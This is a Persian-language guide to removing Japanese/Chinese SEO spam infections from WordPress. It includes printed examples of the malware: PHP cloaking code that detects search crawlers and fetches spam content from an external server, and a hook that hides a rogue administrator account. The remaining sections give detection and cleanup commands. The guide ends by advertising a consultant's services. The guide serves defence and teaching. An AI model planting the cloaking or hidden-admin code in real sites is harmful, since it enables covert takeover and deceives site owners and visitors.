پاکسازی کامل اسپم سئو ژاپنی و چینی در وردپرس

مواجهه با نتیجه جستجوی site:yourdomain.com در گوگل و مشاهده هزاران صفحه ایندکس‌ شده با حروف ژاپنی (کانجی، هیراگانا یا کاتاکانا) و الفبای چینی حاوی نام برندهای جعلی، فروشگاه‌های تقلبی و کالاهای غیرمجاز، کابوس هر مدیر زیرساخت وب است. این نفوذ که در ادبیات امنیت سایبری به نام Japanese Keyword Hack (اسپم سئو ژاپنی/چینی) شناخته می‌شود، یکی از پیچیده‌ترین حملات چندلایه‌ای است که مستقیماً اعتبار دامنه و بودجه خزش (Crawl Budget) سایت را هدف می‌گیرد.

در این حمله، سایت شما به عنوان یک ماشین تولید صفحات اسپم در خدمت مزرعه‌های لینک قرار می‌گیرد؛ در حالی که کاربران عادی و مدیران در ظاهر سایت هیچ صفحه نامتعارفی را نمی‌بینند، ربات‌های گوگل با صدها هزار صفحه تولیدشده پویا مواجه می‌شوند.

این ناهمخوانی نتیجه به‌کارگیری تکنیک کلوکینگ پیشرفته و جعل پاسخ‌های هدر پروتکل HTTP در لایه وب‌سرور است که حل آن با اقدامات سطحی افزونه‌ای ناممکن بوده و نیازمند پاکسازی ساختاری در سطح فایل‌سیستم، دیتابیس و مدیریت پاسخ‌های کلاینت به سرچ کنسول است.

کالبدشکافی ریشه‌ای بدافزار اسپم ژاپنی (Root Cause Analysis)

این حمله صرفاً بارگذاری چند فایل متنی نیست؛ بلکه یک زنجیره مهندسی‌شده شامل دسترسی سطح بالا، تزریق حساب‌های کاربری نامرئی، بازنویسی مسیرهای وب‌سرور و تولید محتوای داینامیک بر اساس دیکشنری‌های آنلاین است.

مکانیزم کلوکینگ شرطی بر پایه ابزار شناسه گوگل‌بات

بدافزار اسپم ژاپنی از منطق شرطی در کدهای PHP برای فریب موتور جستجو استفاده می‌کند. اگر درخواست ارسالی دارای User-Agent متعلق به گوگل‌بات باشد (Googlebot یا bingbot)، اسکریپت فعال شده و متنی حاوی صدها لینک اسپم، کلمات کلیدی ژاپنی و کدهای ترکینگ را تولید می‌کند.

اما در صورتی که کاربر حقیقی با IP معمولی یا مرورگر استاندارد صفحه را باز کند، بدافزار یا محتوای سالم را نمایش می‌دهد یا خطای صوری 404 برمی‌گرداند تا مدیر سایت تصور کند چنین صفحه‌ای اساساً وجود خارجی ندارد.

نمونه‌ای از کد مخرب تزریق‌شده درون فایل‌های هسته (مانند wp-blog-header.php یا یک فایل مخفی درون wp-includes):

<?php
// تشخیص ربات خزنده موتور جستجو
$user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$is_crawler = preg_match('/(Googlebot|bingbot|Baiduspider|Yandex)/i', $user_agent);

if ($is_crawler) {
    // دریافت کلمات کلیدی ژاپنی و ساختار صفحه از سرور C2 خارجی
    $remote_dict = "https://raw-storage-cdn.net/dict/jp_keywords.txt";
    $content = @file_get_contents($remote_dict);
    
    // اگر پارامتر پیوند یکتا مطابق با الگوی اسپم باشد
    if (isset($_GET['page_id']) || preg_match('/(\.html|\/catalog\/|\?jp=)/i', $_SERVER['REQUEST_URI'])) {
        header("HTTP/1.1 200 OK");
        header("Content-Type: text/html; charset=UTF-8");
        echo "<html><head><title>激安販売 - ブランドコピー</title></head><body>";
        echo "<h1>正規ブランド取扱店</h1><p>" . htmlspecialchars($content) . "</p>";
        echo "</body></html>";
        exit();
    }
}

ساخت حساب‌های کاربری نامرئی در پایگاه داده

نفوذگران پس از اکسپلویت آسیب‌پذیری‌های افزونه‌ها (به‌خصوص افزونه‌های دارای باگ‌های Unauthenticated Privilege Escalation)، یک کاربر با نقش administrator به جدول wp_users اضافه می‌کنند. برای جلوگیری از مشاهده این کاربر در پنل وردپرس، با هوک زدن به توابع pre_user_query در قالب یا افزونه‌های ساختگی، حساب کاربری هکر را از لیست کاربران پیشخوان فیلتر و مخفی می‌کنند:

// پنهان‌سازی کاربر مخرب از لیست کاربران در داشبورد
add_action('pre_user_query', function($user_search) {
    global $wpdb;
    $user_search->query_where = str_replace(
        'WHERE 1=1',
        "WHERE 1=1 AND {$wpdb->users}.user_login != 'internal_system_admin'",
        $user_search->query_where
    );
});

ساخت سایت‌ مپ‌ های مجازی و فایل‌ های ساختگی در ریشه هاست

بدافزار اسپم برای اینکه گوگل بتواند در کمترین زمان بیش از ۵۰۰ هزار URL جعلی را کشف و ایندکس کند، نقشه سایت‌های ساختگی (مانند sitemap_index_jp.xml یا نام‌های رندوم مثل sitemap-1029.xml) در ریشه وب‌سایت یا پوشه آپلودها تزریق می‌کند و سپس با ویرایش فایل robots.txt، موتورهای جستجو را مستقیماً به سمت این نقشه‌های مخرب هدایت می‌نماید.

پروتکل اجرایی و گام‌به‌گام رفع بحران (Actionable Playbook)

عملیات پاکسازی اسپم ژاپنی باید در دو بخش موازی صورت گیرد:

1. امحای فایل‌ها و ریشه‌کنی دسترسی در هاست
2. مهار خطاهای ۴۰۴ در سرچ کنسول با استانداردسازی هدر HTTP 410.

گام ۱: شناسایی و حذف کاربران مدیر غیرمجاز از دیتابیس

به دلیل احتمال پنهان‌سازی کلاینتی، به پنل ادمین وردپرس اعتماد نکنید. مستقیماً از طریق خط فرمان MySQL یا WP-CLI اقدام نمایید:

# استخراج تمامی کاربران دارای دسترسی مدیریت
wp user list --role=administrator --allow-root

# اگر کاربر مشکوک یا ناشناسی وجود دارد، فوراً آن را حذف کرده و انتساب مطالب را لغو کنید
wp user delete <USER_ID> --yes --allow-root

جهت بررسی عمیق‌تر در سطح دیتابیس:

SELECT u.ID, u.user_login, u.user_email, m.meta_value 
FROM wp_users u 
JOIN wp_usermeta m ON u.ID = m.user_id 
WHERE m.meta_key = 'wp_user_level' AND m.meta_value = '10';

گام ۲: ردیابی و امحای فایل‌های تولیدکننده صفحات اسپم

فایل‌های این بدافزار اغلب با نام‌هایی نظیر حروف الفبای رندوم (abzke.php) یا نام‌های جعلی شبیه به هسته وردپرس (wp-login-auth.php) ساخته می‌شوند:

cd /path/to/wordpress

# پیدا کردن نقشه‌های سایت جعلی و فایل‌های متنی اسپم در ریشه هاست
find . -maxdepth 2 -type f \( -name "*sitemap*.xml" -o -name "*.txt" \) ! -name "robots.txt" -ls

# جستجوی فایل‌های حاوی کاراکترهای یونیکد ژاپنی در سورس کد
grep -rnP '[\x{3040}-\x{309F}\x{30A0}-\x{30FF}\x{4E00}-\x{9FAF}]' wp-content/ | cut -d: -f1 | sort -u

# اسکن فایل‌های دارای توابع مشکوک دریافت دیتای ریموت
grep -rnEI "(curl_exec|file_get_contents|fsockopen).*(googlebot|bingbot)" wp-includes/ wp-content/

گام ۳: بازنشانی هش هسته وردپرس و خنثی‌سازی Rewrite Rules

# مقایسه و تعمیر فایل‌های هسته
wp core verify-checksums --allow-root
wp core download --skip-content --force --allow-root

# بازنویسی کامل فایل .htaccess جهت پاکسازی رول‌های مشروط
cat << 'EOF' > /path/to/wordpress/.htaccess
# BEGIN WordPress
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# END WordPress
EOF

گام ۴: پیکربندی ارسال هدر صریح HTTP 410 Gone

وقتی فایل‌های اسپم پاک شوند، صدها هزار URL جعلی خطای 404 برمی‌گردانند. پردازش صدها هزار خطای 404 توسط وردپرس، کل رم و پردازنده سرور را می‌بلعد و از طرفی زمان زیادی طول می‌کشد تا ربات گوگل این صفحات را از نتایج حذف کند (چون 404 به معنی «فعلاً پیدا نشد» است).

راهکار استاندارد استفاده از وضعیت 410 Gone («این صفحه برای همیشه حذف شده است») در لایه وب‌سرور است تا بدون درگیر کردن PHP یا دیتابیس، مستقیماً به گوگل اعلام بازنشستگی شود:

در فایل .htaccess در بالاترین سطر (قبل از # BEGIN WordPress):

<IfModule mod_rewrite.c>
RewriteEngine On
# مسدودسازی الگوهای رایج اسپم ژاپنی با ارسال هدر 410
RewriteCond %{REQUEST_URI} (\.html|\?shop=|\?cat=|\/item\/|\?page_id=[0-9]+.*jp) [NC]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule .* - [G,L]
</IfModule>

اگر وب‌سرور شما Nginx است، این رول را در بلوک server قرار دهید:

location ~* (\.html|\/catalog\/|\/brand\/|\?jp=) {
    return 410;
}

گام ۵: ارسال مجدد نقشه سایت سالم به گوگل سرچ کنسول

1. فایل robots.txt را بازبینی کرده و اطمینان حاصل کنید هیچ ارجاعی به نقشه‌های سایت مخرب ندارد.
2. با یک افزونه استاندارد (مانند Rank Math یا Yoast)، نقشه سایت تمیز ایجاد کنید.
3. در کنسول گوگل به مسیر Sitemaps بروید، تمام نقشه‌های سایت ثبت‌شده قبلی را حذف و آدرس جدید (sitemap_index.xml) را مجدداً Submit کنید.

جدول مقایسه‌ای: مدیریت خطاهای انبوه در بحران اسپم سئو

پارامتر بررسی	وضعیت HTTP 404 (Not Found)	وضعیت HTTP 410 (Gone)	ریدایرکت 301 به صفحه اصلی
پیام ارسالی به خزنده‌های گوگل	«صفحه در حال حاضر در دسترس نیست ولی شاید بازگردد.»	«صفحه برای همیشه پاک شده و هرگز برنمی‌گردد.»	«این صفحات تغییر آدرس داده و محتوای اصلی همان صفحه اصلی است.»
مدت زمان حذف کامل از ایندکس	طولانی (بین ۳۰ تا ۹۰ روز)	سریع (بین ۷ تا ۲۱ روز)	متوسط تا طولانی (ایجاد خطای Soft 404)
مصرف منابع رم و پردازنده سرور	بالا (لود کامل هسته وردپرس برای تمپلیت 404)	نزدیک به صفر (هندل مستقیم در وب‌سرور)	بالا (لود پیوندهای یکتای وردپرس)
توصیه رسمی تیم مهندسی گوگل	خنثی	بهترین متد و توصیه اکید برای هک‌های انبوه	اکیداً ممنوع (منجر به آسیب جدی به اعتبار صفحه اصلی)
ریسک تخریب سئوی کل دامنه	متوسط	حداقل (تضمین حفظ رتبه سایر صفحات سالم)	شدید (انتقال بدنامی اسپم به دامنه اصلی)

خطاهای رایج و بن‌بست‌های متداول (Common Pitfalls)

• ریدایرکت کردن تمام صفحات اسپم ۴۰۴ به صفحه اصلی سایت با افزونه‌ها: این یکی از مخرب‌ترین تصمیمات سئویی است. این کار باعث خطای Soft 404 از نظر گوگل شده و سیگنال‌های اسپم صدها هزار صفحه جعلی را مستقیماً به صفحه اصلی دامنه شما منتقل می‌کند.
• استفاده از ابزار Removals سرچ کنسول برای حذف دستی تک‌تک صفحات: این ابزار فقط موقتی است و حداکثر برای چند صفحه استفاده می‌شود. حذف دستی صدها هزار صفحه در کنسول غیرممکن است و راهکار اصولی فقط اعمال هدر 410 در لایه وب‌سرور است.
• پاکسازی فایل‌ها بدون بررسی دیتابیس و توابع تزریقی: بدافزار ژاپنی معمولاً در جداول wp_posts پست‌های جعلی ایجاد نمی‌کند؛ بلکه آن‌ها را در حین پرواز (On-the-Fly) با هوک‌های PHP رندر می‌کند. پاک نکردن این هوک‌ها باعث می‌شود به محض اسکن مجدد گوگل، صفحات اسپم همچنان پابرجا باشند.
• عدم ابطال کلیدهای سالت (Salt Keys): اگر نشست‌های پیشین و کوکی‌های احراز هویت باطل نشوند، نفوذگر کماکان توکن دسترسی معتبر داشته و مجدداً فایل‌های اسپم را بارگذاری خواهد کرد.

هشدار امنیتی و ریسک عملیاتی در لایه سرور
پاکسازی کدهای مخرب مهندسی‌شده در محیط‌های تولیدی (Production) نیازمند تخصص مستقیم در معماری فایل‌سیستم لینوکس و ساختار دیتابیس وردپرس است. حذف ناقص توابع یا شکستن ساختار داده‌های سریالی‌شده (Serialized) در پایگاه داده می‌تواند منجر به قفل شدن دائمی پنل ادمین (WSOD)، خطاهای مهلک 500 و حتی از دست رفتن کامل سوابق سفارشات در ووکامرس شود.
اگر سایت شرکتی یا فروشگاهی شما زیر بار ترافیک زنده دچار افت شدید سئو و اسپم‌های پیچیده ژاپنی و چینی شده است، توصیه می‌شود فرآیند ایزوله‌سازی، پچینگ آسیب‌پذیری‌های روز-صفر (Zero-Day) و بازیابی پایدار را به متخصصی با تجربه عملیاتی در زیرساخت‌های هاستینگ واگذار کنید. می‌توانید برای بررسی جامع و رفع قطعی ریشه نفوذ، از خدمات تخصصی در صفحه پاکسازی سایت هک شده یا بسته جامع امنیت وردپرس در وب‌سایت شخصی بهنام باقری استفاده کنید.

پرسش‌های پرتکرار تکنیکال (Technical FAQ)

۱. با اینکه صفحات اسپم را پاک کرده‌ایم، چرا آمار خطاهای سرچ کنسول تا چند هفته صعودی است؟

این رفتار کاملاً طبیعی است. وقتی صفحات اسپم را با موفقیت پاک می‌کنید و وضعیت 410 برمی‌گردانید، گوگل در خزش‌های بعدی متوجه نبودن فایل‌ها شده و آن‌ها را در دسته خطاهای Not Found یا Gone قرار می‌دهد. افزایش این خطاها نشانه کشف موفقیت‌آمیز حذف صفحات توسط ربات‌های گوگل است. پس از گذشت ۲ الی ۴ هفته، به‌تدریج این صفحات از نتایج جستجو De-index شده و نمودار خطاها نزولی خواهد شد.

۲. آیا بدافزار اسپم ژاپنی رکوردی در جدول wp_posts ذخیره می‌کند؟

در ۹۰ درصد مواقع خیر. نفوذگران ترجیح می‌دهند دیتابیس را سنگین نکنند تا اسکنرهای مبتنی بر دیتابیس نتوانند چیزی پیدا کنند. صفحات از طریق هوک‌های وردپرس (مانند template_include یا parse_request) بر اساس الگوهای پیوند یکتا و متغیرهای $_GET به‌صورت پویا در همان لحظه کامپایل و خروجی داده می‌شوند.

۳. چرا صفحات اسپم در سایت‌مپ اصلی دیده نمی‌شوند اما گوگل آن‌ها را کشف می‌کند؟

بدافزار معمولاً فایل‌های نقشه سایت موازی و مخفی در ریشه هاست (مثل sitemap_spa.xml) یا مسیرهای آپلود ایجاد می‌کند، یا آن‌ها را از طریق ایجاد لینک‌های پنهان درون فوتر یا سایدبار با فونت ۱ پیکسلی و استایل display:none به گوگل معرفی می‌کند تا عنکبوت‌های موتور جستجو آن‌ها را پیدا و دنبال کنند.